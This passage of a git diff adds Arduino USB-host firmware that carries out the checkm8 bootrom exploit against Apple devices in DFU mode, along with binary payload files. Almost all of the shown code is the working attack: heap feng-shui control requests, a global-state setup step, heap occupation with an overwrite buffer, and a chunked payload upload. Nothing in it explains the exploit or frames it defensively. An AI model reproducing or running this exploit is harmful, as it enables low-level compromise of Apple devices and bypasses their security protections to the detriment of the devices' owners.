started"); + if(Usb.Init() == -1) + Serial.println("usb init error"); + delay(200); +} +void loop() { + Usb.Task(); + state = Usb.getUsbTaskState(); + if(state != last_state) + { + //Serial.print("usb state: "); Serial.println(state, HEX); + last_state = state; + } + if(state == USB_STATE_ERROR) + { + Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE); + } + if(state == USB_STATE_RUNNING) + { + Usb.getDevDescr(addr, 0, 0x12, (uint8_t *) &desc_buf); + if(desc_buf.idVendor != 0x5ac || desc_buf.idProduct != 0x1227) + { + Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE); + if(checkm8_state != CHECKM8_END) + { + Serial.print("Non Apple DFU found (vendorId: "); Serial.print(desc_buf.idVendor); Serial.print(", productId: "); Serial.print(desc_buf.idProduct); Serial.println(")"); + delay(5000); + } + return; + } + switch(checkm8_state) + { + case CHECKM8_INIT_RESET: + for(int i = 0; i < 3; i++) + { + digitalWrite(6, HIGH); + delay(500); + digitalWrite(6, LOW); + delay(500); + } + checkm8_state = CHECKM8_HEAP_FENG_SHUI; + Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE); + break; + case CHECKM8_HEAP_FENG_SHUI: + heap_feng_shui(); + checkm8_state = CHECKM8_SET_GLOBAL_STATE; + Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE); + break; + case CHECKM8_SET_GLOBAL_STATE: + set_global_state(); + checkm8_state = CHECKM8_HEAP_OCCUPATION; + while(Usb.getUsbTaskState() != USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE) { Usb.Task(); } + break; + case CHECKM8_HEAP_OCCUPATION: + heap_occupation(); + checkm8_state = CHECKM8_END; + Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE); + break; + case CHECKM8_END: + digitalWrite(6, HIGH); + break; + } + } +} + +void heap_feng_shui_req(uint8_t sz) +{ + rcode = Usb.ctrlReq_SETUP(addr, 0, 0x80, 6, 4, 3, 0x40a, sz); + Usb.regWr(rHCTL, bmRCVTOG1); + rcode = Usb.dispatchPkt(tokIN, 0, 0); +} + +void heap_feng_shui() +{ + Serial.println("1. heap feng-shui"); + heap_feng_shui_req(0xc0); + heap_feng_shui_req(0xc0); + for(int i = 0; i < 6; i++) + heap_feng_shui_req(0xc1); +} + +void set_global_state() +{ + Serial.println("2. set global state"); + rcode = Usb.ctrlReq_SETUP(addr, 0, 0x21, 1, 0, 0, 0, 0x800); + rcode = Usb.dispatchPkt(tokOUTHS, 0, 0); + rcode = Usb.ctrlReq(addr, 0, 0x21, 4, 0, 0, 0, 0, 0, NULL, NULL); +} + +void heap_occupation() +{ + Serial.println("3. heap occupation"); + + heap_feng_shui_req(0xc1); + heap_feng_shui_req(0xc1); + heap_feng_shui_req(0xc1); + + + sz = sizeof(overwrite); + p = overwrite; + rcode = Usb.ctrlReq_SETUP(addr, 0, 0, 9, 0, 0, 0, sz); + Usb.regWr(rHCTL, bmSNDTOG0); + send_out(io_buf, 0); + while(sz) + { + pktsize = min(sz, 0x40); + for(int i = 0; i < pktsize; i++) + io_buf[i] = pgm_read_byte(&p[i]); + send_out(io_buf, pktsize); + if(rcode) + { + Serial.println("sending error"); + checkm8_state = CHECKM8_END; + return; + } + sz -= pktsize; + p += pktsize; + } + + sz = sizeof(payload); + p = payload; + + while(sz) + { + part_sz = min(0x7ff, sz); + sz -= part_sz; + rcode = Usb.ctrlReq_SETUP(addr, 0, 0x21, 1, 0, 0, 0, part_sz); + Usb.regWr(rHCTL, bmSNDTOG0); + send_out(io_buf, 0); + while(part_sz) { + pktsize = min(part_sz, 0x40); + for(int i = 0; i < pktsize; i++) + io_buf[i] = pgm_read_byte(&p[i]); + send_out(io_buf, pktsize); + if(rcode) + { + Serial.println("sending error"); + checkm8_state = CHECKM8_END; + return; + } + part_sz -= pktsize; + p += pktsize; + } + Serial.print("Payload loading... "); Serial.print(sizeof(payload) - sz); Serial.print("/"); Serial.println(sizeof(payload)); + } } \ No newline at end of file diff --git a/checkm8_payloads/bin/payload_aes.bin b/checkm8_payloads/bin/payload_aes.bin new file mode 100644 index 0000000..e8fdcab Binary files /dev/null and b/checkm8_payloads/bin/payload_aes.bin differ diff --git a/checkm8_payloads/bin/payload_sync.bin b/checkm8_payloads/bin/payload_sync.bin new file mode 100644 index 0000000..0724988 --- /dev/null +++ b/checkm8_payloads/bin/payload_sync.bin @@ -0,0 +1 @@ +¿?ÕuÕŸ?Õß?ÕÀ_Ö \ No newline at end of file